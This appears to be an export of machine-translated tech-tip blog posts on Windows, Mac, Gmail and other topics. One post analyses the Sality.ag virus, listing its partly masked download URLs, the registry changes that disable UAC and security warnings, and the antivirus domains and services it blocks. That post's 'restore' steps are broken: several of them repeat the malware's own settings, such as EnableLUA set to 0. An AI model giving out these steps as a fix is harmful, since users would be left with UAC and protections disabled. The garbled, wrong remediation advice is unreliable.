(FIFO), the default buffer for Network Monitor, you can use the following command:\nnetcap / tn\nNote that if you want to stop the capture, press SPACEBAR.\nTo capture only one hour with 1-MB FIFO buffer, use the following command:\nnetcap / L: 01: 00:00\nTo remove the Network Monitor driver, use the following command:\nnetcap / remove\nThe capture files that you create using Netcap are set by default in the UserProfileLocal SettingsTemp folder, UserProfile is the user's profile name. You can change the default directory by using the / c or / tcf switches.\nUsing NETCAP /? for more information on help.\nncG1vNJzZmismaXArq3KnmWcp51ksKK8066pnmWemsG4u9GkZK2qkZuzqq%2BMoqVmr5mjsbDD0mavqWWRo7Fuw8inm6ivo2LApr7VnqlmamBlgA%3D%3D\n","link":"/post/capture-network-traffic-in-windows-xp-and-windows-server-2003/","section":"post","tags":null,"title":"Capture network traffic in Windows XP and Windows Server 2003"},{"body":"You often exchange information in study and work or contact with friends and family. But sometimes you don't get online right away to receive email, you can leave automatic replies to reply as soon as you receive a new email without you need to access the email. Automatic Replies help inform the sender of your email that the message has been received.\n  The article will guide you to create an auto-reply message in Gmail, you can set the content and subject of automatic reply as you like:\nStep 1: Log in to your Gmail account.\n  Step 2: On the Gmail interface, select the Settings icon and select Settings .\n  Step 3: In the General tab, you find the section Automatic Replies and select Turn on automatic reply .\n  Step 4: Select the time to apply the automatic reply, you select the date box next to the First day to choose the time to start autoresponder.\nIf you want to end the automatic reply, select the mouse on the Last day and select the end date for automatic mailing.\nIf you do not want to end the automatic delivery you skip the Last Date .\n  Step 5: Set up for automatic replies.\nSubject: You enter the subject to the mail in the white box next to.\nMail: Enter the text of the message you want to reply to automatically, you can edit the font, font color, font size, align the message with the above options.\nIf you want to automatically reply to messages with only incoming emails in your contacts, check the box before Only reply to people in My Contacts .\nAfter you finish setting you click Save changes to save the settings.\n  After setting up an auto-responder email, gmail will display a status bar informing you that you are using the Automatic Replies feature .\n  With very simple setup steps, you can create automatic replies for your email. Hopefully with this feature of Gmail, it will be helpful during your use of Gmail!\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZpmeYq62wM6rnKmkqWK6pr%2FSmp6eZZmjeqi5wKKj\n","link":"/post/create-an-auto-reply-message-in-gmail/","section":"post","tags":null,"title":"Create an auto-reply message in Gmail"},{"body":"Microsoft utilities are no exception. Microsoft has been working on adding dark mode support to Office Suite apps for a long time. The Redmond company has now fully implemented the dark theme option in the Office suite of applications on many different operating system platforms. However, it is not clear why users of the free web version of Office have not yet had the opportunity to experience dark mode, but can only use the normal light mode.\nThis situation will soon change in the near future as Microsoft finally announced plans to add a dark mode to the version of 'Word for Web'. According to information posted on the Microsoft 365 Roadmap page, Microsoft is currently focusing on solving outstanding issues to introduce a dark background mode for Word web version, which is expected in the first half of June.\n  The Roadmap page makes absolutely no mention of how users of the web version of Word will enable the feature. However, Microsoft will basically implement this feature in a way that respects the default theme on the user's system. In addition, there should also be flexible switching options between dark and light modes in the settings menu.\nThe ability to support dark mode in Word is expected to bring users a new and more pleasant experience. Especially reducing eye strain when working with text documents for many hours on the computer screen. The dark mode option is now available for the Office Suite apps for Windows and Mac. Word users on Android can also switch to dark mode if they want.\nncG1vNJzZmismaXArq3KnmWcp51ksaK%2BymakqJyVYra0ecCbpq6sXam8bq7EZqquqKCkv7Wxw2amp2WdnrCzu9Kona1lp6S%2FpXnWnplmrpWnwKq7zQ%3D%3D\n","link":"/post/dark-mode-is-about-to-be-supported-on-microsoft-word-web-version/","section":"post","tags":null,"title":"Dark mode is about to be supported on Microsoft Word web version"},{"body":"Viruses like these often have a mechanism to manually replicate the resources on the infected computer, unlike worms, unused viruses and exploit network services to replicate themselves. and spread to other computers . A complete copy of the virus will automatically 'crawl' the computers if the infected object is identified in one of the following ways - for several reasons or reasons that are not related to the functioning. of that virus. Eg:\n- When infecting one or more accessible drives, the virus will infiltrate one or more fixed files on the system.\n- They can copy themselves to mobile storage devices\n- When the user sends 1 or more emails with infected files\nVirus.Win32.Sality.ag (by Kaspersky's naming method) is also known in the following forms:\n- Trojan.Win32.Vilsel.vyz (also according to Kaspersky Lab) - W32 / Sality.aa (Panda) - Virus: Win32 / Sality.AT (MS (OneCare)) - Win32 / Sality.NBA virus (Nod32) - Win32.Sality.3 (BitDef7) - Win32.Sality.BK (VirusBuster) - W32 / Sality.AG (AVIRA) - W32 / Sality.BD (Norman) - Virus.Win32.Sality.ag [AVP] (FSecure) - PE_SALITY.BA (TrendMicro) - Virus.Win32.Sality.at (v) (Sunbelt) - Win32.Sality.BK (VirusBusterBeta)\nThis virus sample was discovered on April 7, 2010 at 08:21 GMT, operating the next day - April 8, 2010 at 09:40 GMT, the analysis information was officially announced on the same day - April 8, 2010 at 13:13 GMT.\nDetailed technical analysis\nMalicious programs like these often infect and \"execute\" executable files on infected computers. They also have the function of automatically downloading and activating additional malicious programs on the victim's computer without their knowledge. And essentially, they are Windows PE EXE files, written in C ++ language.\nWhen enabled, these programs automatically 'extract' one or more files from themselves and save them in Windows system folders with different names:\n% System% drivers.sys\nwith is often random Latin character string, such as INDSNN. These files are usually kernel mode drivers of 5157 bytes. And according to Kaspersky Anti-Virus they are classified into Virus.Win32.Sality.ag class.\nThe drivers are decompressed, installed and activated into a Windows service called amsint32.\nInfection process\nIn essence, they are created to infect all Windows executable files with the * .EXE and * .SCR extensions. But only files containing those sections in the PE header section are infected: TEXT, UPX and CODE.\nWhen successfully infected with the PE file, the virus will inherit the final sections in the file and copy the body to the end of the section. After that, they will spread everywhere on the hard drive and continue to find more files to infect. And when these infected files are activated, they will immediately copy the original file's body to a temporary folder created with the following name:\n% Temp% __ Rar.exe\nTo make sure they activate automatically when the system starts, they will copy themselves to all logical partitions with random names and extensions in the following list: * .exe, * .pif and * .cmd. Also, they create hidden files in the root of these drives:: autorun.inf - here the code, the command to activate the malicious files are stored. Or when users open Windows Explorer, these viruses will also be activated.\nPayload method\nOnce operational, they will create unified identification parameters called Ap1mutx7 to mark their presence in the system. And then, they will continue to download data from the following addresses:\nhttp:///*******nc.sa.funpic.de/images/logos.gif http:///www.*********ccorini.com/images/logos.gif http:///www.********gelsmagazine.com/images/logos.gif http:///www.********ukanadolu.com/images/logos.gif http:///******vdar.com/logos_s.gif http:///www.****r-adv.com/gallery/Fusion/images/logos.gif http:///********67.154/testo5/ http:///*********stnet777.info/home.gif http:///*******stnet888.info/home.gif http:///***********net987.info/home.gif http:///www.**********wieluoi.info/ http:///**********et777888.info/ http:///********7638dfqwieuoi888.info/\nThese files will be saved in the% Temp% folder and automatically activated. At this point, the following templates will be downloaded to the system from the links listed above:\n- Backdoor.Win32.Mazben.ah - Backdoor.Win32.Mazben.ax - Trojan.Win32.Agent.didu\nThe above templates are created primarily for spam and spam. In addition to the task of downloading other malicious malware, these viruses can also modify Windows system parameters, such as:\n- Lock the operation of Task Manager, refuse to edit the Registry by changing the following key:\n[HKÑUSoftwareMicrosoftWindowsCurrentVersionPoliciessystem] \"DisableRegistryTools\" = dword: 00000001 \"DisableTaskMgr\" = dword: 00000001\n- Change Windows Security Center settings by intervening and Registry in the following way:\n[HKLMSOFTWAREMicrosoftSecurity Center] \"AntiVirusOverride\" = dword: 00000001 \"FirewallOverride\" = dword: 00000001 \"UacDisableNotify\" = dword: 00000001  [HKLMSOFTWAREMicrosoftSecurity CenterSvc] \"AntiVirusDisableNotify\" = dword: 00000001 \"AntiVirusOverride\" = dword: 00000001 \"FirewallDisableNotify\" = dword: 00000001 \"FirewallOverride\" = dword: 00000001 \"UacDisableNotify\" = dword: 00000001 \"UpdatesDisableNotify\" = dword: 00000001\n- Hidden files cannot be displayed by adding the following parameters to the Registry:\n[HKCUSoftwareMicrosoftWindowsCurrentVersionExplorer Advanced] \"Hidden\" = dword: 00000002  Changing options in the default browser always activates online mode: [HKCUSoftwareMicrosoftWindowsCurrentVersionInternet Settings] \"GlobalUserOffline\" = dword: 00000000 Turn off the UAC (User Account Control) function by changing the EnableLUA parameter in the Registry to 0: [HKLMSoftwareMicrosoftWindowsCurrentVersionpoliciessystem] \"EnableLUA\" = dword: 00000000\n- Self-assigning themselves to the Windows firewall's secure application list to gain access to the Internet and the system network:\n[HKLMSystemCurrentControlSetServicesSharedAccess ParametersFirewallPolicyStandardProfileAuthorizedApplicationsList] \"\" = \": *: Enabled: ipsec\"\n- Create a registry key to store data:\nHKCUSoftware\nHere is the custom value.\n- Continue, they will search for the file:\n% WinDir% system.ini\nand assign the following record values ​​to the file:\n[MCIDRV_VER] DEVICEMB = 509102504668 (any arbitrary number)\n- At the same time, they delete the following keys to make the computer unable to boot in Safe Mode:\nHKLMSystemCurrentControlSetControlSafeBoot HKCUSystemCurrentControlSetControlSafeBoot\n- Delete all * .exe and * .rar files in the temporary directory of all user accounts: % Temp%\n- Continue to find and delete files with the format: * .VDB, * .KEY, * .AVC and * .drw\non the other hand, they use previously decomposed drives to block all requests to connect to domains that contain the following strings:\nupload_virus sality-remov virusinfo. cureit. drweb. onlinescan. spywareinfo. ewido. virusscan. windowsecurity. S pywareguide. bitdefender. pandasoftware. agnmitum. virustotal. sophos. trendmicro. etrust.com symantec. mcafee. f-secure. eset.com kaspersky - Disconnect and delete the following services:\nAgnitum Client Security Service ALG Amon monitor aswUpdSv aswMon2 aswRdr aswSP aswTdi aswFsBlk acssrv AV Engine avast! iAVS4 Control Service avast! Antivirus avast! Mail Scanner avast! Web Scanner avast! Asynchronous Virus Monitor avast! Self Protection AVG E-mail Scanner Avira AntiVir Premium Guard Avira AntiVir Premium WebGuard Avira AntiVir Premium MailGuard avp1 BackWeb Plug-in - 4476822 bdss BGLiveSvc BlackICE CAISafe ccEvtMgr ccProxy ccSetMgr COMODO Firewall Pro Sandbox Driver cmdGuard cmdAgent Eset Service Eset HTTP Server Eset Personal Firewall F-Prot Antivirus Update Monitor fsbwsysFSDFWD F-Secure Gatekeeper Handler Starter FSMA Google Online Services InoRPC InoRT InoTask ISSVC KPF4 KLIF LavasoftFirewall LIVESRV McAfeeFramework McShield McTaskManager navapsvc NOD32krn NPFMntor NSCService Outpost Firewall main module OutpostFirewall PAVFIRES PAVFNSVR PavProt PavPrSrv PAVSRV PcCtlCom PersonalFirewal PREVSRV ProtoPort Firewall service PSIMSVC RapApp SmcService SNDSrvc SPBBCSvc SpIDer FS Monitor for Windows NT SpIDer Guard File System Monitor SPIDERNT Symantec Core LC Symantec Password Validation Symantec AntiVirus Definition Watcher SavRoam Symantec AntiVirus Tmntsrv TmPfw tmproxy tcpsr UmxAgent UmxCfg UmxLU UmxPol vsmon VSSERV WebrootDesktopFirewallDataService WebrootFirewall XCOMM AVP - At the same time, they can also prevent scanning and identification processes of security programs or popular support tools today.\nWays to prevent and remove viruses\nIf the computer you are using does not have a strong security program, or does not update the database for the application, the risk of being affected is very high. Use the following tips to keep your system safe:\n- Use Kaspersky products here or here, and always update Kaspersky completely. However, users can almost never delete all infected files, because they 'stick' to most executable files (* .exe) of Windows, so use them. Add Sality Killer tool.\n- Restore previously edited Registry keys:\n[HKLMSoftwareMicrosoftWindowsCurrentVersionpoliciessystem] \"EnableLUA\" = dword: 00000000  [HKLMSOFTWAREMicrosoftSecurity Center] \"AntiVirusOverride\" = dword: 00000000 \"FirewallOverride\" = dword: 00000001 \"UacDisableNotify\" = dword: 00000001  [HKLMSOFTWAREMicrosoftSecurity CenterSvc] \"AntiVirusDisableNotify\" = dword: 00000000 \"AntiVirusOverride\" = dword: 00000000 \"FirewallDisableNotify\" = dword: 00000000 \"FirewallOverride\" = dword: 00000000 \"UacDisableNotify\" = dword: 00000000 \"UpdatesDisableNotify\" = dword: 00000000  [HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced] \"Hidden\" = dword: 00000002\n- Delete the following keys in the Registry:\n[HKÑUSoftwareMicrosoftWindowsCurrentVersionPoliciessystem] \"DisableRegistryTools\" \"DisableTaskMgr\"  [HKCUSoftwareMicrosoftWindowsCurrentVersion Internet Settings] \"GlobalUserOffline\"\n- Delete all files in the temporary folder including Temp and% Temp%\n- Only use the security software of reputable firms, encourage you to buy the official license of the application - to ensure benefits and receive direct support from the manufacturer. You can refer to the security program here.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ks6q6w2amrqxdlq%2BwwdNmraKqpajEqrqSa6qapJmpxqKzjK2cpqiclsGm\n","link":"/post/find-out-about-virus-win32-sality-ag-template/","section":"post","tags":null,"title":"Find out about Virus.Win32.Sality.ag template"},{"body":"We often see black and white photos edited from color photos with specialized software like Photoshop, Lighroom . However, you can still edit yourself a black and white photo from color photos without Using the above professional software, we will use online tools to do that.\n  1. Convert color photos to black and white photos with Pixlr Step 1: You access the website https://pixlr.com/x/\nNext, click on Open Image to open the image from the computer.\n  Then select the image to upload (1) =\u0026gt; Open (2) to open.\n  Step 2: Click the Adjust tool (1) =\u0026gt; switch the Black \u0026amp; white switch to On (2) =\u0026gt; Apply (3) to apply the settings.\n  Step 3: After the image has been converted into a black and white photo, save it by clicking Save .\n  Step 4: If you are not interested in other parameters, you just need to click Download to download the image to your computer. In addition, you can rename the image in the File name section , select the image format in the File type section or customize the image quality in the Quality section before clicking Download .\n  2. Convert color photos to black and white photos with LunaPic Step 1: You access LunaPic at https://www3.lunapic.com/editor/?action=effect-bw\nNext, click on Choose file to upload photos from your computer.\n  Then choose the image from your computer (1) =\u0026gt; Open (2) to upload.\n  Step 2: After the upload process is completed, your photo will automatically change into a black and white photo. Please save the image by clicking Save and the image above will automatically download to your computer.\n  3. Use convertimage to convert color images into black and white Step 1: You access the website https://convertimage.net/online-photo-effects/black-and-white-photo-fx.asp\nFirst, you set the image format after saving as Keep original format (1) to keep the image format. You can convert to different image formats like JPG, PDF, PNG, BNP, GIF, PSD, TIF, PCX by clicking on one of those image formats.\nAfter setting the image format after editing, please upload the image from your computer by clicking Select your image . (2) .\n  Next you choose photos from the computer (1) =\u0026gt; Open (2) to upload.\n  Step 2: You switch the switch from No to Yes (1) to agree with the terms and click Send this image (2) to proceed to the black and white image.\n  Step 3: After converting to a black and white image successfully, click Download the image to download the image to your computer.\n  With online ways to convert color photos to black and white photos, we can create \"classic\" black and white photos without installing specialized photo editing software to do so. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmmqikn6d6sbTOraasZaSkeqO4wJyiZpmemXq4tMitnGannqG2r7E%3D\n","link":"/post/how-to-convert-color-photos-to-black-and-white-online/","section":"post","tags":null,"title":"How to convert color photos to black and white online"},{"body":"Registry is the place that contains all the settings of all software and Windows systems, it is like the mist of the human body.\nAnd just one error in the Registry can cause errors for the entire Windows operating system, making you unable to boot into the operating system.\nPreviously, Microsoft used to automatically back up the Windows Registry to the Regback folder so that when there is an error you can restore it. However, from Windows 10 versions 1803, 1809 and 1903… onwards, this feature has been turned off. Therefore, this article I will guide you how to manually turn on the automatic registry backup feature on Windows .\n#first. How to enable automatic Registry backup on Windows 10 According to Microsoft, this problem is not an error, but rather to reduce the amount of Windows on the drive.\nAnd they recommend Windows 10 users should use the System Restore feature instead of backing up and restoring the Registry as the tradition with folders Regback. But if you want the system to use Registry backup then follow the instructions below.\n+ Step 1: Open the Registry Editor using the key combination Windows + Sto open Windows Search=\u0026gt; then search with the keyword regedit=\u0026gt; and select the first result.\n  Or a faster and more common way is to use the key combination Windows + Rto open Windows RUN =\u0026gt; and you also enter the keyword regedit=\u0026gt; then press OKis okay.   + Step 2: You access the following link:\nHKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerConfiguration Manager\nOr you can access quickly by copying this address and then pasting it in the address bar in Registry Editor=\u0026gt; and ENTERis right there without fear of mistaking it.\n  + Step 3: Select the white frame on the right, create a new key by right-clicking =\u0026gt; select New=\u0026gt; select next DWORD (32-bit) Value=\u0026gt; and name this new key EnablePeriodicBackupfor me.\n  + Step 4: Continue right-click on the newly created key =\u0026gt; and select Modify…Or Double-clickon that key to edit the value.\nYou change the value from 0 to 1 , and the style remains the default Hexadecimal.\n  Step 5: Now close the Registry Editor window and restart Windows for the changes to take effect.\nAnd as I said at the beginning of the article, just one wrong correction can cause the whole system to fail, so you must be very careful when editing the Registry.\nAnd if you regularly edit the Registry, you should also back up manually, and turn on System Restoretoo for sure: D.\nAs I said above, the purpose of Microsoft when turning off automatic backup is to save memory space, but with today's modern technology, the computer hard drive has a very large capacity - TB rows - and getting bigger and bigger than that, so a few hundred MB Backup doesn't make much sense either. So I recommend that you re-enable this feature!\n  #2. Where is the folder where the Registry file is stored? Yes, after automatic Backup Registry, the backup file will be located in the directory RegBackof the operating system drive, with the specific path as follows:\nC: WindowsSystem32ConfigRegBack\nIf the Registry file auto-save process fails, please backup the Registry manually according to this tutorial!\n# 3. Epilogue Okey, so I have just finished showing you how to automatically back up the Registry on Windows 10 .\nBackup Registry, as well as regular system Backup is a must to limit data loss due to Win errors. Hope this article will help you in the process of using.\nGood luck !\nRegistry backup Registry ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYyarK2nnZbBqq%2BMm5ico6WlerCyjKucoKGjqb%2B6ec6nZLChnpm8uL%2BMamc%3D\n","link":"/post/how-to-enable-automatic-backup-of-registry-on-windows-10/","section":"post","tags":null,"title":"How to enable automatic backup of Registry on Windows 10"},{"body":" Flash is no longer being developed for Linux, and the newest versions are only available built-in to Chrome. If you use the Chromium browser, you can extract the Flash plugin from Chrome and use it. If you use Firefox, you'll need to...\nMethod 2of 3:\nChrome  Update Chrome. Flash is built-in to Chrome, and no extra effort is required to get it running. Simply keep Chrome up to date and Flash should work just fine. If Flash is broken in Chrome, try uninstalling and reinstalling it.  Method 3of 3:\nFirefox  Change browsers to Chrome or Chromium. Adobe is no longer supporting Linux development outside of the Pepper Flash plugin for Chrome. That means that the Flash plugin for Firefox is very outdated and is not receiving any improvements and only minor security patches. If you want to install the outdated version for Firefox, read on.   Click CTRL + ALT + T at the same time- OR press \"Super\" key (windows key) and type in \"Terminal.\" Launch it \"Terminal\". You should see a terminal.\n  Type \"sudo apt-get install flashplugin-installer\" \n  Type in your administrative password for sudo. You cannot view asterisks on the screen, but you're still typing it.\n  Install the plugin by pressing \"Y\" (yes) on Terminal.\n  Restart Firefox for the new plugin to take effect.\n  Kareem Winters Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmnaWZo516sbjAspyrZZ%2Bjerau1Kerrg%3D%3D\n","link":"/post/how-to-install-flash-player-on-ubuntu/","section":"post","tags":null,"title":"How to Install Flash Player on Ubuntu"},{"body":"Zalo is a social network with high security, so we often prefer to use zalo at work. If you have two zalo accounts and want to use both accounts on your computer at the same time, how to do? Let's solve TipsMake.com with that problem in the article below!\n  1. Login 2 Zalo nick using Zalo web and Zalo PC Zalo provides us with two solutions on PC that is using Zalo app or using Zalo web version. You can take advantage of the Zalo and Zalo web apps on your PC to log in to two different Zalo accounts.\nStep 1: Visit the following website https://zalo.me/pc.\n  Step 2: You install the Zalo app and log in your account normally.\n  For Zalo web will ask you to confirm the account by selecting the most recent contact. You select 3 nearest contact list (1) and click Reply (2) .\n  So we have logged in 2 nick Zalo on the computer without any problems by the simplest method.\n  2. Use two different web browsers or use one with an incognito tab By using any two browsers or using an incognito tab, we can use two Zalo accounts at the same time on the Web. You login to Zalo web at the following homepage: https://chat.zalo.me\n  3. Using the Rambox software Step 1: You access the link https://rambox.pro/#home and download the Rambox software.\n  Step 2: You install and open Rambox up. Next, scroll down and find _Custom Service .\n  Step 3: Next you name the item Name is Zalo (1) . The URL of the Zalo web address is https://chat.zalo.me (2) . Then you click Add_Custom Service (3) to add Zalo.\n  Step 4: Next, click Allow access to allow the software to access the network through the firewall.\n  Step 5: We log in Zalo normally, if you want to login two Zalo accounts then you repeat from Step 2 and log in with the secondary account.\n  Zalo account 1\n  Zalo 2 account\nWith instructions to login 2 nick Zalo on the computer, we can solve the job easier and more smoothly. In addition, you can also use VMWare virtual machine to log open Zalo on the virtual machine and log in with two Zalo nick easily or use an Android emulator like Bluestack, Nox App Player . to install and use Use Zalo on the Android emulator. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSfnLaveZFmpaKbm2LHorjOZqanZaSdsm6vzqanrqyVpw%3D%3D\n","link":"/post/how-to-login-2-nick-zalo-on-the-computer/","section":"post","tags":null,"title":"How to login 2 nick Zalo on the computer"},{"body":" Windows XP was released in 2001, and Microsoft dropped support for the operating system in 2014. As a result, the company no longer updates it for security, and that includes the main Windows XP Web browser: Internet Explorer. This lack of...\nPart 1of 2:\nConsidering Options For Repair  Try the Windows XP System Restore tool. Whether you know it or not, Windows takes a snapshot of your PC every so often – at least by default upon installation – and you can always restore your system to that snapshot. This effectively turns your PC back in time to before the virus existed, destroying it. If restoring back as far as you can doesn't work, go to the next step. Find it under the 'System Tools' group of the 'Accessories' menu under your 'Programs' menu. Select 'Restore My Computer To An Earlier Time' and then choose a date that your computer worked properly.[1]   Download an antivirus program if you can. If you have problems with Internet Explorer, use Mozilla Firefox and/or Google Chrome. If none work, you'll have to download whatever tools you need to a USB stick from a computer that does work and then move to the next step. CNET in early 2014 recommended Kaspersky, BitDefender, and Panda Security, all of which still support Windows XP and have free and freemium versions.   Download other anti-malware software. Not only is doing so thorough, it may not even be a virus you're dealing with: you could be a victim of a Trojan or another type of malware. A few good apps to try include AdAware, Norton Power Eraser, and Malwarebytes.\n  Repair Windows if antivirus and other antimalware software don't work. If you have a Windows CD you can simply put the disc into the PC, restart it, and choose to boot from CD when asked. After that, follow the onscreen instructions, choosing to repair Windows instead of reinstalling -- this way you keep your existing files.[2]\n  Perform a total install of Windows. If you've got your original XP install discs, a full install might help clear things out. This option will destroy your files and thus, unless you don't care about your files, should be a last resort. If you have a Windows CD you can simply put the disc into the PC, restart it, and choose to boot from CD when asked. After that, follow the onscreen instructions, choosing to totally reformat your hard drive when presented with the reformat utility. Virus repair of Windows XP is difficult and fraught with increasingly diminishing returns the older the operating system gets. Consider an upgrade to your operating system if all else fails or if you'd like to have fewer problems in the future.[3]  Part 2of 2:\nRemoving Your Virus  Turn off your computer's Wi-Fi or other Internet access. Some viruses require Internet access to be able to hide, so you need to cut off their Internet supply to find them.\n  Restart the computer. If the computer won't restart normally, try Ctrl+Alt+Del or just force the restart by holding down the power button on the computer or by cutting off the power supply by taking out the battery for a laptop or unplugging a desktop computer.\n  Keep tapping the F8 key as the computer starts. A menu appears with various options available. If the computer starts normally, restart it and try again.\n  Choose 'Safe Mode With Networking.' Safe Mode will allow you to access the computer without the viruses being able to work – especially if you've removed the Internet connection as mentioned earlier.\n  Run your antivirus software. If you have put the software onto a USB stick as mentioned earlier, you'll have to install the antivirus software to your computer at this point and then run the software. Run a full scan; it may take awhile depending on your computer.\n  Lesley Montoya Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYyaZK%2BhoqrAbq3NnWSrnaCWtrN51qKlnaenqHq5vIyfpqtllqeypg%3D%3D\n","link":"/post/how-to-remove-a-virus-and-repair-windows-xp-for-free/","section":"post","tags":null,"title":"How to Remove a Virus and Repair Windows XP for Free"},{"body":"To turn off the computer when it is needed on the Mac, you can use the password request mode when in the Sleep state. Users can set optional time and password when selecting in sleep mode. However, we can also set up shortcuts to lock the device at times of need, without having to use the password as before.\nStep 1: Click on the magnifying glass icon in the upper corner to open Spotlight Search, then open Automator . Alternatively, you can search in Other section at Launchpad.\n  Step 2: At Automator, we click the Service gear icon .\n  Step 3: Next, select the Utilities section and double click on the Run shell Script line. Then, adjust the Service receive item above to no input in any application .\nBelow, enter the following command line:\n/ System / Library / CoreServices / \"Extras Menu\" /User.menu/Contents/Resources/CGSession -suspend\n  Step 4: Next go to File\u0026gt; Save or press Command + S and set an arbitrary name in the Save service as section . Prioritize simple naming for easy implementation in the following steps, such as Lock Screen.\n  Step 5: Go to System Preferences and select Keyboard\u0026gt; Keyboard Shorcuts\u0026gt; App Shortcut . Then press the + button to add a shortcut.\n  Step 6: At the new window, select All Applications . Under the Menu Title section, enter the previously saved name Lock Screen.\nIn the Keyboard Shortcut section, we can set arbitrary shortcuts to turn off the computer like Command + L. Finally click Add to finish.\n  The above is a tutorial on how to use the shortcut to quickly lock the computer screen on Mac OS X. When you want to use the device, you just need to press the key combination that quickly turns off the previous machine to access the login window. only\nRefer to the following articles: Find IP address and MAC address Find the router's IP address in Mac OS X 20 convenient shortcuts when using Mac OS X I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIysn6iqpJjCtb%2BMraZmqaWesKy42GajqJubYrqir4yoqmawXaiws7HEpw%3D%3D\n","link":"/post/how-to-set-up-shortcuts-to-quickly-lock-mac-os-x-screen/","section":"post","tags":null,"title":"How to set up shortcuts to quickly lock Mac OS X screen"},{"body":"The Xbox 360 handle has long been used extensively on computers by its convenience for gamers. This handle quickly became popular with all Windows users, not just the Xbox Console, but when Microsoft Xbox One was released, Microsoft still did not support the device's handle on the PC, that would replace change from today.\n  \nMicrosoft is hoping gamers will love the Xbox One controller, they have just released the official Windows computer driver. Users can download it immediately here:\nPC Drivers for Xbox One Controller (x86) PC Drivers for Xbox One Controller (x64)\n\" The new computer drivers will allow the Xbox One controller to be used with any featured game that supports gamepad for the Xbox 360 controller ,\" said Major Nelson of Microsoft. \" Simply download the driver, connect your Xbox One controller to your computer via a micro USB cable and you will be playing the game immediately \".\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYrWiv4yao6Wnp5qxbsDHnmSuq5VivKd506GcZrCSpMVuu82eZKGZnpm5pnnOp2SwoZ6ZvLi%2F\n","link":"/post/microsoft-has-allowed-the-use-of-the-xbox-one-handle-on-windows/","section":"post","tags":null,"title":"Microsoft has allowed the use of the Xbox One handle on Windows"},{"body":"(Applies to Windows Server (Semi-Annual Channel), Windows Server 2016, Windows Server 2012 R2, Windows Server 2012)\nThe rpcinfo command helps list the programs that work on the remote computer. Specifically, the rpcinfo command-line utility performs a remote procedure call (RPC) to an RPC server and reports to you what it finds.\nRpcinfo command syntax\n rpcinfo [/ p []] [/ b] [/ t []] [/ u []]  The rpcinfo command parameter\nParameters\nDescribe\n/ p []\nLists all the programs registered with the port mapper on the specified server.If you do not specify a node name (computer), the program will query the port mapper on the local server by default.\n/ b\nRequest feedback from all network nodes with the program and the specified version registered with the port mapper.You must specify both the name or program number and version number.\n/ t []\nUse the Transmission Control Protocol (TCP) to call the specified program.You must specify both the button name (computer) and the program name.If you do not specify a specific version, the program will call all versions, the program will call all versions by default.\n/ u []\nUse User Datagram Protocol (UDP) to call the specified program.You must specify both the button name (computer) and the program name.If you do not specify a specific version, the program will call all versions by default.\n/?\nShow help at thecommand prompt.\nRpcinfo command example\nTo list all the programs that are registered with the port mapper, enter:\n rpcinfo / p []  To request feedback from network nodes with the specified program, enter:\n rpcinfo / b  To use Transmission Control Protocol (TCP) to call a program, type:\n rpcinfo / t []  To use User Datagram Protocol (UDP) to call a program, type:\n rpcinfo / u []  See more:\nSummary of 20 common Run commands on Windows operating system Summary of shortcuts to know in Windows 10 Basic Linux commands everyone needs to know Table summarizes the basic PowerShell commands ncG1vNJzZmismaXArq3KnmWcp51kwamxjKunnKGem7xur86mpJqmlGK2r3nWoqWdp6eo\n","link":"/post/the-rpcinfo-command-in-windows/","section":"post","tags":null,"title":"The rpcinfo command in Windows"},{"body":"The job of winload.exe is to load the necessary device drivers, as well as ntoskrnl.exe, a core part of Windows.\nIn older Windows operating systems, like Windows XP, the loading of ntoskrnl.exe is done by NTLDR, which also acts as the boot manager.\nIs Winload.exe a virus?   In essence, winload.exe is not a virus. Unfortunately, you will find a lot of information that says the opposite.\nFor example, some antivirus and other \"file info\" sites will mark winload.exe as a type of malware and even say that the file is unnecessary and can be deleted, But this is only part of the truth.\nWhile it is true that a file named \"winload.exe\" can be infected with a virus and carry out malicious intent, it is important that you understand its location on your computer so that you can distinguish the real file from the malicious one. harmful.\nThe location of the winload.exe file is Windows Boot Loader (the file is being talked about in this article) located in the C:/Windows/System32/ folder. This will never change and is exactly the same no matter what version of Windows you are using.\nIf the \"winload.exe\" file is found anywhere else and is marked as malicious by your antivirus program, then the file is most likely unsafe. In this case, you can delete the file because it is not the actual boot file.\nWinload.exe related errors If winload.exe is corrupted or somehow deleted, Windows may not work as it should and display an error message.\nHere are some common winload.exe error messages:\nWindows failed to start. A recent hardware or software change might be the cause winload.exe is missing or corrupt \"/Windows/System32/winload.exe\" cannot be trusted because of its digital signature Status 0xc0000428 Important Note:\nDo not try to fix the missing or damaged winload.exe file by downloading a copy from the Internet! The copy you find online could be malware, masquerading as the file you're looking for. Additionally, even if you download an online copy, the original winload.exe file (in the System32 folder ) is write-protected, so it cannot be easily replaced.\nThe first thing you should do after encountering one of the above errors is to check your entire computer for malware. However, instead of using a traditional antivirus program that runs from within Windows, use free bootable antivirus tools. Assuming the winload.exe problem is caused by malware, then this could be a really simple fix for your problem.\nIf the virus scan doesn't help, try writing a new partition boot sector and rebuilding the Boot Configuration Data (BCD) store, this should fix any corrupt entries related to winload.exe. These solutions can be implemented in Windows 11, 10 and 8 via Advanced Startup Options and in Windows 7 and Windows Vista with System Recovery Options .\nAnother way to fix the winload.exe error is to run sfc /scannow, which will replace the missing or damaged system file.\nAnother winload.exe error unrelated to the above errors reads:\nA component of the operating system has expired. File: /windows/system32/winload.exe You may get this error if Windows has reached its license expiration date, this happens if you are using a preview version of Windows.\nWith this type of error, your computer will probably restart automatically every few hours in addition to displaying an error message. When this happens, running a virus scan and file repair tool won't do you any good. You will need to install a valid, full version of Windows with a working product key for the activation process to complete normally.\nMore information about Winload.exe BOOTMGR will start winresume.exe instead of winload.exe if the computer is in hibernation. winresume.exe is located in the same directory as winload.exe.\nCopies of winload.exe can be found in subdirectories of C:/Windows , such as Boot and 